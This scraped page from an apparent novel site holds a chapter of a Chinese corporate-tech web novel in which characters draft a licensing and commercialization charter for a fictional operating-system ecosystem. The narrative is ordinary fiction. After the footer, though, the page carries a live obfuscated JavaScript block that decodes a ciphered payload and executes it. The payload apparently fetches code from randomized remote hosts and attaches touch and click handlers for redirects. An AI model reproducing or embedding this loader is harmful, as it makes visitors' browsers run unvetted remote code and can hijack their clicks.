首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第444章 天罡许可商业化草案讨论

下载APP,无广告、完整阅读
    天权6号功耗门槛闭环后的第一个周一,方程从新加坡飞回合一,行李还没放下就被苏黛拉进了合城六号会议室。会议室的白板上贴着一张天罡生态截至当日凌晨的核心运营数据——天罡OS全球装机量九千三百七十万,天罡Edge接口安全分级独立审计完成首轮七个场景的认证,生态合作基金首期九个项目全部进入执行追踪的第二个月,开发者扶持计划三期备案制准入后的新增注册开发者数量是一期同期的三点六倍。
    数据很好看,但苏黛在白板右下角用红笔圈出了两组数字。第一组:天罡生态十二个月十亿收入目标的时间进度已经过了百分之三十一,收入完成率只有百分之十八。第二组:火龙联盟南亚生态联盟的单月装机增量仍维持在天罡OS同期增量的两倍以上,差距没有缩小。
    「装机量在涨,开发者在涌入,生态规则在完善。」苏黛把红笔放下,「但这些都没有回答一个根本问题——天罡生态怎么赚钱?不收兼容认证费丶不收开发者年费丶不抽应用商店分成。开放是开放了,但商业化路径不清晰,生态的可持续性就是一个迟早会爆的雷。火龙联盟南亚生态联盟为什么装机量涨得快?因为他们烧钱补贴——每台预装补贴四美元,开发者入驻首年免分成。我们不能靠烧钱跟他们拼补贴,拼不赢也拼不起。但我们必须找到一条不违背开放原则丶又能让生态产生持续收入的路径。」
    方程站在白板前,把苏黛圈出的两组数字看了很久。他在新加坡的三个月里每天盯着装机数据和开发者反馈,心里很清楚苏黛说的是事实。天罡生态的开放性在全球开发者群体中建立了极高的信任度——兼容标准制定权移交联合技术委员会丶生态合作基金评审全程公开丶开发者扶持计划从邀请制改为备案制,每一步都在兑现「可验证的生态」这个承诺。但信任本身不产生收入。生态合作基金每年投入五亿元,开发者扶持计划的资源投入在备案制放开后翻了三倍,联合技术委员会的运营费用由未来科技兜底——这些成本目前全部来自未来科技的内部预算调拨,没有任何外部收入来对冲。
    「我们一直在讲生态的公共属性。」方程转过身,面对会议室里等着他开口的每一个人,「公共广场不收费是对的——兼容标准丶开发者准入丶基础技术文档,这些是生态的基础设施,收费就等于在广场门口设收费站,没人会进来。但广场周边的服务可以收费——那些为愿意付钱的商业用户提供的增值服务丶企业级认证丶深度技术支持丶商业化部署的合规担保。这些服务不是剥夺任何人进入广场的权利,而是在广场旁边开一家可以选择的店。进广场不要钱,进店要钱。愿意进店的客户,是因为他们需要广场提供不了的东西。」
    他在白板上画了一个大圈,圈内写着「公共层——永久免费」,包含兼容标准丶基础开发工具丶安全分级接口文档丶应用商店基础分发丶街边店维修技师培训课程。圈外画了三个小圈,分别标注「企业级服务层」丶「商用授权层」和「合规担保层」。
    企业级服务层包括:面向企业客户的天罡OS定制化安全加固丶私有化部署支持丶SLA保障服务丶以及基于天罡Edge的行业解决方案深度集成。商用授权层包括:天罡OS商业发行版的授权许可丶天权晶片与天罡OS的绑定优化套件丶以及基于天枢OS数据治理框架的企业级合规工具包。合规担保层包括:面向出海企业的国际合规认证辅助丶数据治理合规审计丶以及与联合检测验证工作组备案对接的技术合规背书。
    「三层收费,一层免费。」方程在三个小圈旁边写下了收费模式的初步设计,「企业级服务层按年订阅收费,根据服务等级分三档。商用授权层按设备台数收取授权费,单台费用控制在设备出厂价的千分之三以内——远低于火龙联盟生态的授权费率。合规担保层按服务项目收费,企业在上市或出海前需要做合规审计的,由未来科技法务团队和联合检测验证工作组认可的独立审计机构联合出具合规报告。」
    周明从法务角度切入,把方程的草图逐层扫描了一遍。他的关注点集中在商用授权层的法律架构上。天罡OS本身是基于开源内核开发的,开源许可证的约束条款对商业授权构成了天然的法律边界——哪些代码属于开源范围必须永久免费,哪些属于未来科技自主开发的增值组件可以授权收费,这个边界必须在草案中写清楚,否则任何一个收费动作都可能触发开源社区的反弹,进而被火龙联盟在舆论和法律上双重利用。
    「开源内核的部分,永久免费,不设任何商业授权门槛。」周明在方程的草图上画了一条清晰的线,线左侧标注「开源基础层——Apache2.0许可」,线右侧标注「增值商业层——独立授权协议」。「这条线必须画在技术架构层面,画得足够清晰,清晰到任何一个外部开发者都能在代码仓库里看到哪一行代码属于左侧丶哪一行属于右侧。补天V1的共建层和协作层划分已经证明这种技术分层在开源治理上是可行的——我们只需要把同样的逻辑移植到天罡OS的商业化架构上。」
    林薇从技术角度提出了一条关键补充。天罡OS目前运行在超过九千三百万台设备上,从千元机到旗舰机到物联网终端到车载系统,硬体能力的跨度极大。如果商用授权按设备台数收费,低端设备的授权费必须足够低,低到不会成为廉价设备预装天罡OS的门槛。她建议商用授权费采用阶梯式定价——设备出厂价低于某个阈值的免除授权费,中间区间的按千分之一收取,高端设备按千分之三收取。
    「生态的生命力在装机量,装机量的增长极在低价设备。」林薇在白板上画了一条设备价格与授权费率的反比曲线,「火龙联盟的生态授权费是统一的——不管设备卖多少钱,授权费按台收固定金额。这导致低价设备的利润率被授权费吃掉,OEM厂商没有动力在低价设备上预装他们的系统。如果我们反过来设计——低价设备免授权费,高端设备收千分之三——OEM厂商在低价设备上预装天罡OS的动力就会大增。装机量继续涨,生态的公共层持续扩张,商业层的客户基座跟着一起变大。商业收入从高端设备和增值服务里产生,公共生态从低价设备里获得规模。两条腿走路,不互相绊。」
    苏黛在方程的草图和林薇的补充方案之间画了一条连接线,然后在连接线上方写下了一个制度设计的核心问题:商用授权层的定价权归属谁?如果由未来科技单方面定价,商业化就会变成未来科技向生态参与者收税——这恰恰违背了天罡生态「可验证的开放」这一核心承诺。但如果把定价权完全交给联合技术委员会,委员会的独立委员们是否有足够的能力和意愿来承担商业定价的责任?
    方程在这个问题上没有立刻回答。他在新加坡主持生态兼容标准第二版起草时学到的一条经验是——标准制定和商业定价是两种不同的治理逻辑。标准制定追求的是技术合理性和长期稳定性,可以由独立的联合技术委员会按照公开的规则来运作。商业定价追求的是市场适应性,需要根据竞争态势丶客户反馈和成本结构动态调整,不适合交给委员会做逐次表决。
    「定价权分层。」方程在草图上画了三个决策层级,「基础定价框架——包括收费层级丶费率区间和阶梯定价的阈值设定——由研发治理委员会在徵求联合技术委员会意见后以三分之二多数票通过,作为长期制度写入天罡许可商业化章程。年度价格调整——在各层级费率的区间范围内做微调——由未来科技生态运营部在听取生态合作基金评审委员会意见后执行,调整幅度不超过区间范围的上下百分之十五。特殊客户的定制化授权方案——在企业级服务层的个案定价——由商务团队按审批权限处理,超权限的上报研发治理委员会季度审议。」
    周明把这个三层定价权架构写入了一份题为「天罡许可商业化章程草案」的正式文件。章程草案分七章,涵盖了总则丶公共层永久免费承诺丶商用授权层定价框架丶企业级服务层收费模式丶合规担保层服务范围丶定价权的三级治理分配丶以及商业收入的用途约束。
    最后一章——商业收入的用途约束——是陈醒在审阅初稿时要求加入的。他的意见只有一段话:「天罡许可商业化产生的全部收入,在扣除运营成本后,百分之五十注入生态合作基金用于扩大生态基础设施投入,百分之三十注入星环科研奖励机制的基础研究资助池,百分之二十用于造芯学院全球技能认证课程库的维护和扩展。商业收入不是未来科技的利润,是天罡生态的再投资。这个约束写进章程第一条,不给任何人留变通的空间。」
    苏黛在读到这一段时,在笔记本上写了一个数字——按照方程预估的十二个月后商业收入规模,注入生态合作基金的额度将超过基金目前由未来科技内部预算拨付的年度总额。这意味着生态合作基金的资金来源将从单一的企业内部拨款,逐步过渡到由生态自身产生的商业收入来支撑。基金一旦实现资金自持,它在治理上的独立性就获得了经济基础的支撑——不需要再依赖未来科技的单方面拨款承诺,也就彻底消除了火龙联盟在日内瓦反覆追打的「基金评审受资金来源方隐性控制」的质疑。
    「商业化的终点不是赚钱,是让生态自己养活自己。」苏黛在当天下午的进度对帐会上对陈醒说,「生态合作基金第二期评审时,如果基金的资金池里有百分之四十来自天罡许可商业收入,联合技术委员会的独立委员在评审投票时的底气会和现在完全不同。他们会知道自己批出去的钱不是未来科技的施舍,而是生态自己挣来的。」
    章程草案在三天后提交给了联合技术委员会进行非正式徵求意见。委员会的轮值主席——一位来自补天高校团队的教授——在看完章程草案后,给方程发了一封邮件。邮件的正文很短,但方程的视线在最后一段上停了很久。
    「天罡生态正在经历一次我从未在任何开源商业史上见过的转变。大多数开源生态要么保持纯粹的非商业化而最终因缺乏资金而萎缩,要么引入商业模式后逐步封闭而失去开发者信任。你们设计的这条路径——公共层永久免费丶商业层分层定价丶定价权由独立委员会与研发治理委员会共享丶商业收入强制再投资——是在尝试走一条从来没有人走成过的路。这条路能不能走通,不取决于设计,取决于执行。」
    方程把这封邮件的最后一段抄在了章程草案扉页上,旁边写下了自己的批注:「路能不能走通,走起来才知道。至少这条路的两侧都有护栏——左侧是公共层永久免费承诺写进了章程第一条,右侧是商业收入强制再投资的约束写进了章程最后一条。两条护栏之间,车轮可以偏,但不能翻。」
    章程草案在联合技术委员会的非正式徵求意见期持续了五天,收到了三十七条反馈意见。其中一条来自爪哇商城的一位独立委员,提议在商用授权层中增加一项「小开发者豁免条款」——年收入低于五十万元人民币的独立开发者或小型工作室,使用天罡OS商用授权层的全部服务免除授权费,直到其年度收入突破豁免门槛。方程看到这条建议后直接拨通了那位委员的视频。
    「小开发者豁免条款我在起草时想过,但没敢写到草案里——怕企业级客户觉得自己在补贴开发者。」方程说。
    「企业级客户不需要你替他们担心这个。」那位委员在视频那端笑着摆了摆手,「我在爪哇商城见了几千个小开发者,他们的痛点不是买不起授权,而是授权费在收入里占比太高——一个年收入二十万的工作室,如果授权费吃掉两千块,他会选择不用你的商业授权,自己对着开原始码硬改。改出来的东西质量参差不齐,反而拉低了天罡生态的整体体验。免掉他们的授权费,等他们长大再收——这套逻辑我在爪哇商城的开发者扶持计划里验证过五年,管用。」
    方程把这条建议全文纳入了章程草案的修订版,将小开发者豁免条款作为商用授权层定价框架的第四级——在阶梯定价的三档之外,增加一个「豁免级」,年收入门槛与生态合作基金的小型创企资助标准对齐。
    章程草案在合城产学研融合中心的国际会议室进行了首次跨机构公开讨论。参会的除了未来科技生态运营部丶法务部和财务部的代表,还有联合技术委员会的三名独立委员丶两家已签约天罡生态共同演进协议的OEM厂商代表丶以及通过视频接入的三位欧陆独立开发者代表。方敏把会议室布置成了圆桌形式,没有主位,没有讲台,每张桌上都摆着章程草案的纸质版和一份意见收集表。
    讨论中最大的争议集中在一个方程没预料到的地方——不是定价费率,不是治理结构,而是合规担保层的独立性。两位欧陆开发者在视频连线中同时提出了一个质疑:合规担保层提供的国际合规认证辅助服务由未来科技法务团队提供,但未来科技本身也是被火龙联盟制裁审查的对象。一家正在被审查的企业为另一家企业提供合规认证辅助,这个认证在全球市场上有多大的说服力?
    周明在这个问题上给出的回答让整个圆桌安静了下来。他调出了联合检测验证工作组秘书处备案的四套参考基准案例的编号,然后把天罡Edge医疗版的临床数据审计追踪系统在工作组框架下的审查结论投在屏幕上。「未来科技自己的合规能力不是自说自话。我们的数据治理细则丶生态合作基金评审规则丶天权6号设计数据追溯系统和天罡Edge医疗版临床数据审计——这四套体系都已经在联合检测验证工作组的框架下通过了独立的第三方审查。合规担保层的认证不是盖未来科技的章,是引用工作组的审查方法论丶使用工作组的审计标准丶最终报告在工作组备案。这份认证背书的是工作组的审查框架,不是未来科技的信用。未来科技只是服务提供方,标准制定方是工作组,判断依据是公开的审查准则。」
    屏幕上的联合检测验证工作组徽标和四项参考基准案例的编号同时亮着。一位欧陆开发者沉默了几秒后发来一条文字消息:「如果是引述工作组的审查标准,我可以接受。」
    章程草案的跨机构公开讨论持续了三天,收到了一百二十条意见。方程和苏黛在讨论结束后把终稿提交给了研发治理委员会。委员会在当周的全体会议上以全票通过了天罡许可商业化章程,并将首次年度定价框架的审议排入下次全体会议议程。
    章程通过后的第四天,方程在合城六号会议室召集合城生态运营部全员开了一次执行部署会。他在白板上画了一条时间轴——天罡许可商业化章程的正式生效日期定在两周后,与生态合作方合规审计月的启动日同一天。第一份商用授权协议的签约对象已经初步确定——南洋万通的黄志强表示愿意成为第一个吃螃蟹的人,将天罡OS商业发行版预装在万通旗下中高端智能家居终端产品线上。
    「黄志强说他不图什么折扣,只图一个名分。」方程在部署会上说,「他说『第一个签约』这件事本身值得拿回去挂在办公室里——告诉他的客户,南洋万通是天罡生态商业化的首个正式授权夥伴。他比我们还会用『可验证』的逻辑打市场。」
    黄志强的正式签约意向函在部署会当天下午传真到达合城。传真的落款处除了黄志强的签名,还有一行手写的小字:「授权费千分之三,我付。我把这份合同放在我在仰光跟吴敏登签的合作备忘录旁边——一个告诉我未来科技怎么对待合作夥伴,一个告诉我未来科技怎么对待生态规则。两份文件放在一起,我就知道这条路能走多远。」
    方程把传真递给苏黛。苏黛看完后没有说话,只是把它锁进了生态合作基金首批评审档案的同一个加密档案柜。档案柜里并排躺着三份文件——生态合作基金的评审规则全文丶评审过程全程录像硬碟丶九个获资助项目的完整评审档案。第四份文件的位置已经留了出来,标签上写着:「天罡许可商业化首份商用授权协议——待签署。」
    而在地球的另一端,李明哲在日内瓦收到了联合检测验证工作组秘书处发来的最新通知。通知的正文只有三行:火龙联盟正式提交第二轮设备出口审查动议,投票时间定在追光设备外销签约仪式后第三天。同时,火龙联盟三家核心成员在动议附件中首次以书面形式表示,愿意就「生态规则制定权的独立性」与未来科技进行正式技术磋商。
    正式技术磋商。不是试探,不是非正式接触,是写入工作组工作计划的正式磋商。李明哲把通知转发给周明和陈醒,附言只有两个字:「来了。」
    谈判预案自动激活。天罡许可商业化章程的通过时间,恰好赶在了正式磋商提出前的最后窗口。方程在得知消息后给陈醒发了一条消息:「我们赶在谈判前把商业化章程公开了——公共层永久免费承诺写进了章程第一条,商业收入强制再投资的约束写进了章程最后一条。这两条条款是他们在谈判桌上无法反驳的东西——如果他们想攻击天罡生态的商业化,就必须先解释为什么一个把百分之八十商业收入重新投入公共生态的系统是『封闭』或『掠夺性』的。让他们去编这个解释。我赌他们编不出来。」
    陈醒在五分钟内回复了两个字:「照办。」然后他追加了一行字:「谈判桌上不用主动提商业化章程。等他们先提。他们提了,再把章程全文推过去——让他们自己在字里行间找攻击点。找不到攻击点的时候,他们就会暴露真正的意图。」
    合城的灯在夜色中依旧亮着。天权6号量产版的版图终审已通过,追光四期为量产准备的专用工艺窗口已经排定,恒芯封装试产线的矽通孔间距稳在了六微米整,罗工在驻厂日报上写下了「目标达成」四个字。造芯学院实训车间里,第二届新生的产线级晶片设计实战课程进入了第三周,宋瑾正带着学员们在刻蚀设备前调试工艺参数,设备运转的低频嗡鸣声和在线检测站台的节拍声依旧交织在一起。
    而在白板上那条从四十六点三瓦一路压至四十五点零零瓦的下降曲线旁边,张京京贴了一张新的便签。便签上写着天权6号量产版的全温度范围实测功耗数字,以及一个她预留的空位。空位的标签是「下一代——天权7号3D堆叠功耗基线」。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();